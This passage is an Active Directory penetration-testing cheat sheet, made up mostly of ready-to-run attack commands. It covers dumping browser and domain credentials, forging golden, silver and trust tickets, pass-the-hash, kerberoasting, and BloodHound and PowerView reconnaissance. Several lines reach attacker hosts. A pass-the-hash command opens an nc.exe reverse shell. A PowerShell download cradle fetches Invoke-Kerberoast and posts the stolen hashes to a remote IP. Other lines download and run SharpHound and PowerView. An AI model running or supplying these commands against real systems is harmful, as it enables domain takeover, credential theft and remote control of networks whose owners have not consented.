| SharpChrome.exe logins /statekey:[ASD8S9A6...SDA789DSA] /file:key.pvk | |
| SharpChrome.exe cookies /statekey:[ASD8S9A6...SDA789DSA] /file:key.pvk | |
| ## Dumping Active Directory credentials locally - on DC | |
| lsadump::lsa /inject | |
| or | |
| lsadump::lsa /patch | |
| or | |
| ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q | |
| impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local # Extract Hashes from NTDS.dit using Impacket | |
| secretsdump.py -pwd-last-set -user-status -history -ntds ./ntds.dit -security SECURITY -system SYSTEM local | |
| ## Powershell History | |
| C:\Users\{username}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ | |
| ## Recently Run Commands | |
| HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU | |
| HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU | |
| ## Crack password protected office documents | |
| wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py | |
| python office2john.py dummy.docx > hash.txt | |
| cat hash.txt //identify the version of office | |
| hashcat -a 0 -m 9400 --username -o cracked_pass.txt hash.txt rockyou.txt | |
| #################################################################################################### | |
| ###################################### kerberos attacking ################################### | |
| #################################################################################################### | |
| ## Pass-The-Ticket | |
| kerberos::list | |
| kerberos::list /export | |
| ## KrbTGT tickets get cached ONLY IF Administrator has logged on before on a Unconstrained Delegation computer | |
| kerberos::ptt TGTticket.kirbi | |
| misc::cmd # perform the actions as the user that passed the ticket | |
| ## Pass The Hash | |
| ## The computer account WEB-WIN01$ is part of "domain admins" group, once pwned the computer | |
| sekurlsa::pth /user:WEB-WIN01$ /domain:corp.local /ntlm:e3d78bc48d069bba3d3e34b0cae59547 /run:"c:\users\cyber_adm\downloads\nc.exe 10.10.14.6 4444 -e C:\WINDOWS\System32\cmd.exe" | |
| rubeus.exe s4u /user:FS02$ /domain:dev.ADMIN.OFFSHORE.COM /dc:dc02.dev.ADMIN.OFFSHORE.COM /rc4:25CB75FB3F857DE4BB08FEDDCA639D2D /impersonateuser:Administrator /msdsspn:cifs/DC02.dev.ADMIN.OFFSHORE.COM /ptt | |
| ## Kerberos Golden Ticket | |
| lsadump::lsa /inject /name:krbtgt # After conpromise the domain controller,get NTLM of kerberos account | |
| Domain : DEV /S-1-5-21-1416445593-394318334-2645530166 | |
| NTLM: 9404def404bc198fd9830a3483869e78 | |
| ## Creating a forged golden ticket that automatically gets injected in current logon session's memory | |
| kerberos::golden /domain:dev.ADMIN.OFFSHORE.COM /sid:S-1-5-21-1416445593-394318334-2645530166 /rc4:9404def404bc198fd9830a3483869e78 /user:newAdmin /id:500 /ptt | |
| klist # Checking if the ticket got created | |
| pushd \\WS03.dev.ADMIN.OFFSHORE.COM\c$ | |
| ## Service Account Password Cracking | |
| GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat. | |
| GetUserSPNs.py -request -dc-ip 172.16.1.5 corp.local/svc_opmanager | |
| $krb5tgs$23$ | |
| hashcat -m 13100 krb5tgs.hash rockyou | |
| ## Pass the Cache - abusing cached Kerberos .ccache tickets discovered on a Linux-based jump-box | |
| Python ms14-068.py –u [USERNAME] –s [USERSID] –p [USER PASSWORD] –d [DOMAIN CONTROLLER IP] # request ccache from DC | |
| Kerberos::ptc [TICKET NAME] # perform pass the cache on windows machine | |
| ## kerberoasting - extract and crack NTLM hash for service account reside in a TGS - required an authenticated domain user | |
| ## Step 1 – Obtain a list of SPN values for user accounts - https://github.com/nidem/kerberoast | |
| setspn -T corp.local -Q */* | |
| setspn -l hostname # To view a list of the SPNs that a computer has registered with Active Directory | |
| ## Step 2 – Request Service Tickets for service account SPNs | |
| Add-Type –AssemblyName System.IdentityModel | |
| New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList ‘MSSQLSvc/corp.local:1433’ | |
| or #list all | |
| PS C:\> Add-Type -AssemblyName System.IdentityModel | |
| PS C:\> setspn.exe -T corp.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } | |
| ## Step 3 - Find the SPN which is running on the target host. (The NTLM of the SPN is required for creating silver ticket) | |
| For eg. MSSQLsvc/ql01.corp.local:1433 @ CORP.LOCAL | |
| ## Step 4 – Extract Service Tickets Using Mimikatz | |
| kerberos::list /export | |
| or | |
| IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.126:8080/Invoke-Kerberoast.ps1');$command = Invoke-Kerberoast -OutputFormat Hashcat | out-string;$errors=[string]$error;$postParams = @{Error=$errors;output=$command;};Invoke-WebRequest -Uri http://192.168.49.126:8000 -Method POST -Body $postParams; | |
| ## Step 5 – Crack the Tickets - kirbi((Windows file format) is a file contains tickets, it can be convert to ccache(Linux file format) | |
| ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.corp.local~1433-CORP.LOCAL.kirbi | |
| or | |
| for i in $(cat kirbi.list);do python3 kirbi2john.py $i >> tgs.list;done | |
| sudo john --show --wordlist=/usr/shar/wordlists/rockyou.txt tgs.list | |
| or | |
| hashcat mssql.krb.tgs --force -m 13100 -a 0 /usr/share/wordlists/rockyou.txt | |
| ## Step 6 - Rewrite | |
| ./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.corp.local~1433-CORP.LOCAL.kirbi -w sql.kirbi -u 500 # Make user appear to be a different user | |
| ./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.corp.local~1433-CORP.LOCAL.kirbi -w sql.kirbi -g 512 # Add user to another group (in this case Domain Admin) | |
| ## Step 7 - Inject back into RAM with Mimikatz | |
| kerberos::ptt sql.kirbi | |
| ## Kerberos Silver Ticket | |
| ## Step 1 – Extract NTLM password hash for either a service account running a service on a computer or the computer account itself (e.g. via Kerberoasting or by obtain local administrator accounts on a host) | |
| service account: can be compromised without any elevated domain privileges | |
| computer account: can forge tickets for any service that runs as the local system account | |
| ## Step 2 - Using the Mimikatz command “kerberos::golden”, pass the Domain SID, Target host name, Service name, User name and Group information to create the Silver Ticket | |
| mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt" exit | |
| kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin | |
| ## Step 3 - Validate the tickets | |
| klist | |
| ## Step 4 - Query the service using forged tickets | |
| Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local | |
| ## Service Type: Service Silver Tickets | |
| WMI: HOST, RPCSS | |
| PowerShell Remoting: HOST,HTTP | |
| Depending on OS version may also need: WSMAN, RPCSS | |
| WinRM: HOST,HTTP | |
| Scheduled Tasks: HOST | |
| Windows File Share (CIFS): CIFS | |
| LDAP operations including Mimikatz DCSync: LDAP | |
| Windows Remote Server Administration Tools: RPCSS, LDAP, CIFS | |
| SQL servers, instances: MSSQLSvc | |
| RDP: TERMSERV | |
| Exachange Client Access Servers: exchangeMDB | |
| Microsoft SCCM: CmRcService | |
| #Service Principal Names (SPNs) Descriptions - https://adsecurity.org/?page_id=183 | |
| ## kerberos pre-authentication | |
| GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR. | |
| GetNPUsers.py corp.local/ -dc-ip 172.16.1.5 -request -format hashcat -outputfile output_AS_REP_responses_file | |
| $krb5asrep$23$ | |
| ## SID Hopping Up Intra-Forest Trusts - ExtraSids - if you compromise the domain controller of a child domain in a forest, you can compromise its entire parent domain | |
| prerequisits: krbtgt NTLM on child domain | |
| Get-DomainSID -Domain dev.ADMIN.OFFSHORE.COM # child domain | |
| S-1-5-21-1416445593-394318334-2645530166 | |
| Get-DomainSID -Domain ADMIN.OFFSHORE.COM # parent domain | |
| S-1-5-21-1216317506-3509444512-4230741538 | |
| kerberos::golden /domain:dev.ADMIN.OFFSHORE.COM /sid:S-1-5-21-1416445593-394318334-2645530166 /sids:S-1-5-21-1216317506-3509444512-4230741538-519 /rc4:9404def404bc198fd9830a3483869e78 /user:administrator /ptt | |
| ## Golden Trust Ticket (on DC) | |
| In order for authentication to occur across a domain trust, the kerberos key distribution centers (KDCs) in two domains must have a shared secret, called an inter-realm key. | |
| This key is derived from a shared password, and rotates approximately every 30 days. Parent-child domains share an inter-realm key implicitly. | |
| When a user in domain A tries to authenticate or access a resource in domain B that he has established access to, he presents his ticket-granting-ticket (TGT) and request for a service ticket to the KDC for domain A. | |
| The KDC for A determines that the resource is not in its realm, and issues the user a referral ticket. | |
| This referral ticket is a ticket-granting-ticket (TGT) encrypted with the inter-realm key shared by domain A and B. | |
| sekurlsa::trust | |
| sekurlsa::trust /patch | |
| kerberos::golden /domain:A.local /sid:S-1-5-21-1415 /rc4:273891243234 /user:administrator /service:krbtgt /target:B.local /ticket:[email protected] | |
| asktgs [email protected] cifs/pc.B.local cifs/dc.B.local | |
| kirbikator lsa cifs.pc.B.local.kirbi cifs.dc.B.local.kirbi | |
| ## Sensitive file hunting script | |
| using powershell to check sensitive file which is even hidden in c:\users or C:\ folder, can define it manually | |
| dir c:\ /b /s | findstr "flag.txt" | |
| #################################################################################################### | |
| ######################################## Domain Recon ####################################### | |
| #################################################################################################### | |
| ## Check powershell module location and modules | |
| $env:PSModulePath | |
| Get-Module | |
| ## AdminCount=1 | |
| When a user, group, or computer is added, either directly or transitively, to any of a specific set of protected groups its value is updated to 1 | |
| ## Abusable ACEs | |
| ForceChangePassword # The ability to change the target user’s password without knowing the current value. Abused with Set-DomainUserPassword. | |
| AddMembers # The ability to add arbitrary users, groups or computers to the target group. Abused with Add-DomainGroupMember. | |
| GenericAll # Full object control, including the ability to add other principals to a group, change a user password without knowing its current value, register an SPN with a user object, etc. Abused with Set-DomainUserPassword or Add-DomainGroupMember. | |
| GenericWrite # The ability to update any non-protected target object parameter value. For example, update the “scriptPath” parameter value on a target user object to cause that user to run your specified executable/commands the next time that user logs on. Abused with Set-DomainObject. | |
| WriteOwner # The ability to update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. Abused with Set-DomainObjectOwner. | |
| WriteDACL # The ability to write a new ACE to the target object’s DACL. For example, an attacker may write a new ACE to the target object DACL giving the attacker “full control” of the target object. Abused with Add-NewADObjectAccessControlEntry. | |
| AllExtendedRights # The ability to perform any action associated with extended Active Directory rights against the object. For example, adding principals to a group and force changing a target user’s password are both examples of extended rights. Abused with Set-DomainUserPassword or Add-DomainGroupMember. | |
| ## Object-specific Rights we care about | |
| Users: | |
| Computers: | |
| User-Force-Change-Password, write to ServicePrincipalName, no password required, trusted for Kerberos delegation, read the value of LAPS passwords | |
| Unconstrained Delegation | |
| Groups: write to member property | |
| GPOs: modification of GPC-File-Sys-Path | |
| Domains: WriteDacl to add DCSync right | |
| ## Get a specified user | |
| Get-ADUser -Filter "Name -eq 'ChewDavid'" -SearchBase "DC=AppNC" -Properties "mail" -Server lds.Fabrikam.com:50000 | |
| ## get a specified service account | |
| Get-ADServiceAccount -Identity web_svc -Properties * | |
| ## Attributes of domain user | |
| Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll | |
| Name Value | |
| ---- ----- | |
| SCRIPT 1 | |
| ACCOUNTDISABLE 2 | |
| HOMEDIR_REQUIRED 8 | |
| LOCKOUT 16 | |
| PASSWD_NOTREQD 32 | |
| PASSWD_CANT_CHANGE 64 | |
| ENCRYPTED_TEXT_PWD_ALLOWED 128 | |
| TEMP_DUPLICATE_ACCOUNT 256 | |
| NORMAL_ACCOUNT 512+ | |
| INTERDOMAIN_TRUST_ACCOUNT 2048 | |
| WORKSTATION_TRUST_ACCOUNT 4096 | |
| SERVER_TRUST_ACCOUNT 8192 | |
| DONT_EXPIRE_PASSWORD 65536+ | |
| MNS_LOGON_ACCOUNT 131072 | |
| SMARTCARD_REQUIRED 262144 | |
| TRUSTED_FOR_DELEGATION 524288 | |
| NOT_DELEGATED 1048576 | |
| USE_DES_KEY_ONLY 2097152 | |
| DONT_REQ_PREAUTH 4194304 | |
| PASSWORD_EXPIRED 8388608 | |
| TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 | |
| PARTIAL_SECRETS_ACCOUNT 67108864 | |
| ## ADACLScanner | |
| https://github.com/canix1/ADACLScanner | |
| A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory. | |
| PS C:\scripts> .\ADACLScanner.ps1 -Base "DC=contoso,DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show | |
| ## Bloodhound | |
| sudo neo4j console | |
| /opt/BloodHound/BloodHound-linux-x64/BloodHound --no-sandbox | |
| on victim: | |
| SharpHound.exe --CollectionMethod All # Run Under Admin Privilege!!! | |
| SharpHound.exe --CollectionMethod Session --Loop --Loopduration 01:00:00 | |
| SharpHound.exe --CollectionMethod All --Domain dev.ADMIN.OFFSHORE.COM # By default, the SharpHound will only extract the data from current domain. For other trusted domain, it requires to be specified. | |
| ## Invoke-BloodHound for domain recon | |
| powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.5:8888/SharpHound.ps1');Invoke-BloodHound -CollectionMethod All" | |
| PS C:\> Invoke-BloodHound | |
| PS C:\> Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00 | |
| PS C:\> Invoke-BloodHound -CollectionMethod All | |
| ## Find all computers | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) RETURN p | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) WHERE c.owned = true RETURN p | |
| ## Find all users | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) RETURN p | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) WHERE u.owned = true RETURN p | |
| ## Shortest Path from All Owned Objects - 3 hops | |
| MATCH p=shortestPath((c {owned: true})-[*1..3]->(s)) WHERE NOT c = s RETURN p | |
| ## Shortest Path from Owned Computers - max hops | |
| MATCH p=shortestPath((c {owned: true})-[*1..]->(s:Computer)) WHERE NOT c = s RETURN p | |
| MATCH p=shortestPath((c {owned: true, domain:"CORP.LOCAL"})-[*1..]->(s:Computer)) WHERE NOT c = s RETURN p | |
| ## Shortest Path from Owned Users - 2 hops | |
| MATCH p=shortestPath((c {owned: true})-[*1..2]->(s:User)) WHERE NOT c = s RETURN p | |
| MATCH p=shortestPath((c {owned: true, domain:"CORP.LOCAL"})-[*1..2]->(s:User)) WHERE NOT c = s RETURN p | |
| ## Find the active user sessions on all domain computers: | |
| MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) RETURN p2 | |
| ## All Shortest Paths to Domain (including Computers) | |
| MATCH p = allShortestPaths((uc)-[r:{}*1..]->(d:Domain)) WHERE (uc:User OR uc:Computer) RETURN p | |
| ## Find LAPS enabled computers | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) WHERE c.haslaps = true RETURN p | |
| ## All Shortest Paths to LAPS enabled computers | |
| MATCH p = allShortestPaths((uc)-[r:{}*1..]->(c:Computer)) WHERE (uc:User OR uc:Computer) AND NOT uc = c AND c.haslaps = true RETURN p | |
| ## Find LAPS disabled computers | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) WHERE c.haslaps = false RETURN p | |
| ## All Shortest Paths to no LAPS | |
| MATCH p = allShortestPaths((uc)-[r:{}*1..]->(c:Computer)) WHERE (uc:User OR uc:Computer) AND NOT uc = c AND c.haslaps = false RETURN p | |
| ## All Shortest Paths from Kerberoastable Users to Computers | |
| MATCH p = allShortestPaths((u:User)-[r:{}*1..]->(c:Computer)) WHERE u.hasspn = true RETURN p | |
| ## All Shortest Paths from Kerberoastable Users to High Value Targets | |
| MATCH p = allShortestPaths((u:User)-[r:{}*1..]->(h)) WHERE u.hasspn = true AND h.highvalue = true RETURN p | |
| ## All Shortest Paths from Owned User | |
| MATCH p = allShortestPaths((u:User)-[r:{}*1..]->(a)) WHERE u.owned = true AND u <> a RETURN p | |
| ## All Shortest Paths from Owned Principals to Domain | |
| MATCH p = allShortestPaths((o)-[r:{}*1..]->(d:Domain)) WHERE o.owned = true RETURN p | |
| ## All Shortest Paths from Owned Principals to High Value Targets | |
| MATCH p = allShortestPaths((o)-[r:{}*1..]->(h)) WHERE o.owned = true AND h.highvalue = true RETURN p | |
| ## All Shortest Paths from Owned Principals to no LAPS | |
| MATCH p = allShortestPaths((o)-[r:{}*1..]->(c:Computer)) WHERE NOT o = c AND o.owned = true AND c.haslaps = false RETURN p | |
| ## All Shortest Paths from no Signing to Domain | |
| MATCH p = allShortestPaths((c:Computer)-[r:{}*1..]->(d:Domain)) WHERE c.hassigning = false RETURN p | |
| ## All Shortest Paths from no Signing to High Value Targets | |
| MATCH p = allShortestPaths((c:Computer)-[r:{}*1..]->(d:Domain)) WHERE c.hassigning = false RETURN p | |
| ## All Constrained Delegations | |
| MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p | |
| ## All Computers Allowed to Delegate for Another Computer | |
| MATCH p = (c1:Computer)-[:AllowedToDelegate]->(c2:Computer) RETURN p | |
| ## All ACLs to Computers (excluding High Value Targets) | |
| MATCH p = (ucg)-[r]->(c:Computer) WHERE (ucg:User OR ucg:Computer OR ucg:Group) AND ucg.highvalue = false AND r.isacl = true RETURN p | |
| ## All Computers Local Admin to Another Computer | |
| MATCH p = (ucg)-[r]->(c:Computer) WHERE (ucg:User OR ucg:Computer OR ucg:Group) AND ucg.highvalue = false AND r.isacl = true RETURN p | |
| ## All Owned Principals | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(h) WHERE h.highvalue = true RETURN p | |
| ## All Users with \"Pass\" in AD Description | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) WHERE u.description =~ '(?i).*pass.*' RETURN p | |
| ## All Users with Password not Required | |
| MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) WHERE u.passwordnotreqd = true RETURN p | |
| ## Find interesting edges related to “ACL Abuse” that uprivileged users have against other users: | |
| MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p | |
| ## Find interesting edges related to “ACL Abuse” that unprivileged users have against computers: | |
| MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]->(m:Computer)) RETURN p | |
| ## Find if unprivileged users have rights to add members into groups: | |
| MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p | |
| ## Find only the AdminTo privileges (edges) of the domain users against the domain computers: | |
| MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) RETURN p2 | |
| ## find the shortest path from a not high value node to a specific user group | |
| MATCH p=shortestPath((u {highvalue: false})-[*1..]->(g:Group {name: 'DOMAIN [email protected]'})) WHERE NOT (u)-[:MemberOf*1..]->(:Group {highvalue: true}) RETURN p | |
| ## Shortest paths to Domain Admins group from the Domain Users group: | |
| MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain: "CORP.LOCAL"}) RETURN p | |
| ## Shortest paths to Domain Admins group from non privileged users: | |
| MATCH (n:User {admincount:false}),(m:Group {name:'DOMAIN [email protected]'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p | |
| ## Find all the Edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes: | |
| MATCH (n:User {admincount:false}),(m:Group {name:'DOMAIN [email protected]'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p | |
| ################################################################################ | |
| ################### Domain Enumeration + Exploitation ########################## | |
| ################################################################################ | |
| ## import AD module | |
| import-module ActiveDirectory | |
| ## if not installed AD module on the target | |
| C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management | |
| Import-Module .\Microsoft.ActiveDirectory.Management.dll | |
| Get-Command get-adcom* # check if AD module imported successfully | |
| ## Check for accounts that don't have password expiry set - "Non expiring passwords are bad. Especially if it's a regular unexpected user, might be IOC [indicator of compromise] then." | |
| Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 65536' -Properties useraccountcontrol | export-csv U-DONT_EXPIRE_PASSWORD.csv | |
| Get-ADcomputer -Filter 'useraccountcontrol -band 65536' -Properties useraccountcontrol | |
| Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=65536)" | |
| ## Check for accounts that have no password requirement | |
| Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 32' -Properties useraccountcontrol | export-csv U-PASSWD_NOTREQD.csv | |
| Get-ADcomputer -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 32' -Properties useraccountcontrol | |
| $Cred = New-Object System.Management.Automation.PSCredential('dev.ADMIN.OFFSHORE.COM\joe', (new-object System.Security.SecureString)) | |
| Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=32)" | |
| ## Accounts that have the password stored in a reversibly encrypted format - "Because storing your password in reversible encryption is really bad." | |
| Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 128' -Properties useraccountcontrol | export-csv U-ENCRYPTED_TEXT_PWD_ALLOWED.csv | |
| Get-ADcomputer -Filter 'useraccountcontrol -band 128' -Properties useraccountcontrol | |
| Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=128)" | |
| ## List users that are trusted for Kerberos delegation - "Because unconstrained Kerberos delegation means that random service account can make Kerberos tickets for EVERYONE" | |
| Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 524288' -Properties useraccountcontrol | export-csv U-TRUSTED_FOR_DELEGATION.csv | |
| Get-ADcomputer -Filter 'useraccountcontrol -band 524288' -Properties useraccountcontrol | |
| Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" | |
| ## List accounts that don't require pre-authentication - "Pre auth puts your time stamp encrypted into the request to help against attacks." | |
| Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | export-csv U-DONT_REQUIRE_PREAUTH.csv | |
| Get-ADcomputer -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | |
| Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" | |
| ## List accounts that have credentials encrypted with DES - "Because DES = plaintext essentially." | |
| Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 2097152' -Properties useraccountcontrol | export-csv U-USE_DES_KEY_ONLY.csv | |
| Get-ADcomputer -Filter 'useraccountcontrol -band 2097152' -Properties useraccountcontrol | |
| Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2097152)" | |
| ## LAPS - Check if unprivileged domain accounts, able to read the value of LAPS passwords | |
| The local admin password is stored in the confidential ms-Mcs-AdmPwd attribute on computer objects | |
| Right to read AdmPwd: DS_Control_Accessss/GnericAll/Owner/WriteDCAL/WriteOwner | |
| ### LAPSToolkit | |
| https://github.com/leoloobeek/LAPSToolkit/LAPSToolkit.ps1 | |
| Get-LAPSComputers # Displays all computers with LAPS enabled, password expriation, and password if user has access | |
| Find-LAPSDelegatedGroups # Searches through all OUs to see which AD groups can read the ms-Mcs-AdmPwd attribute | |
| Find-AdmPwdExtendedRights # Parses through ExtendedRights for each AD computer with LAPS enabled and looks for which group has read access and if any user has "All Extended Rights". | |
| Find-AdmPwdExtendedRights # "Audits" who can read ms-Mcs-AdmPwd | |
| Get-DomainComputer FS01 -Properties name,ms-mcs-AdmPwd | |
| or | |
| use AD Explorer -> search container -> class: common classes -> Attribute: ms-Mcs-AdmPwd -> Relation: not empty | |
| Once found it, you can login as local administrator. | |
| ## Enumerate User DACLs | |
| $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid | |
| Get-DomainObjectACL -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} | |
| ## Enumerate Foreign Group | |
| Get-DomainForeignGroupMember -Domain ops.comply.com | |
| ## Enumerate domain trust mapping | |
| Get-DomainTrustMapping | |
| ## Check who can set Unconstrained Delegation | |
| 1. User with SeEnableDelegationPrivilege enabled (Local Security Policy of a domain controller and managed through Group Policy) | |
| Get-DomainUser -AllowDelegation -AdminCount | |
| 2. Object permissions to msDS-AllowedToDelegateTo attribute, userAccountControl, and/or servicePrincipalName | |
| Get-DomainComputer -Unconstrained | |
| ## Check Constrained Delegation | |
| Get-DomainUser -TrustedToAuth # Hunting for user accounts that have kerberos constrained delegation enabled | |
| Attribute msds-allowedtodelegateto # Identifies the SPNs of services | |
| Attribute useraccountcontrol # TRUSTED_TO_AUTH_FOR_DELEGATION | |
| Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto, useraccountcontrol | fl # Hunting for computer accounts that have kerberos constrained delegation enabled | |
| Get-DomainComputer ws02 | Select-Object -ExpandProperty msds-allowedtodelegateto | fl # Identifies the SPNs of services | |
| ## To find out which user could remotely access one remote computer,try Get-NetLocalGroups and Get-NetLocalGroupMember.(The function only returns information to which the caller has Read access.) | |
| The users in BUILTIN\Administrators and BUILTIN\Remote Desktop Users can using RDP | |
| The users in BUILTIN\Administrators and BUILTIN\Remote Management Users can using WinRM | |
| The domain computer was assigned GPO which enabled "Computer Configuration > Policies > Windows Settings > Security Settings > Restricted Groups -> Add Group -> domain group" | |
| Get-NetLocalGroup -ComputerName primary.testlab.local | |
| Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft | |
| ## Enumerate Network Shares | |
| ### scan an entire domain: | |
| find-domainshare -computerdomain burmat.local | |
| ### narrow down scope, check permissions: | |
| find-domainshare -computername websrv.burmat.local -computerdomain burmat.local -CheckShareAccess | |
| ## PowerView - https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon | |
| powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1'); | |
| Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.2:8000/PowerView.ps1'); | |
| ## Misc Functions: | |
| Export-PowerViewCSV - thread-safe CSV append | |
| Resolve-IPAddress - resolves a hostname to an IP | |
| ConvertTo-SID - converts a given user/group name to a security identifier (SID) | |
| Convert-ADName - converts object names between a variety of formats | |
| ConvertFrom-UACValue - converts a UAC int value to human readable form | |
| Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object | |
| Remove-RemoteConnection - destroys a connection created by New-RemoteConnection | |
| Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token | |
| Invoke-RevertToSelf - reverts any token impersonation | |
| Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN) | |
| Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes | |
| Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion | |
| ## Domain/LDAP Functions | |
| Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain | |
| Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone | |
| Get-Domain - returns the domain object for the current (or specified) domain | |
| Get-DomainController - return the domain controllers for the current (or specified) domain | |
| Get-Forest - returns the forest object for the current (or specified) forest | |
| Get-ForestDomain - return all domains for the current (or specified) forest | |
| Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest | |
| Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set | |
| Get-DomainUser - return all users or specific user objects in AD | |
| New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object | |
| Set-DomainUserPassword - sets the password for a given user identity and returns the user object | |
| Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events | |
| Get-DomainComputer - returns all computers or specific computer objects in AD | |
| Get-DomainObject - returns all (or specified) domain objects in AD | |
| Set-DomainObject - modifies a gven property for a specified active directory object | |
| Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object | |
| Add-DomainObjectAcl - adds an ACL for a specific active directory object | |
| Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects | |
| Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD | |
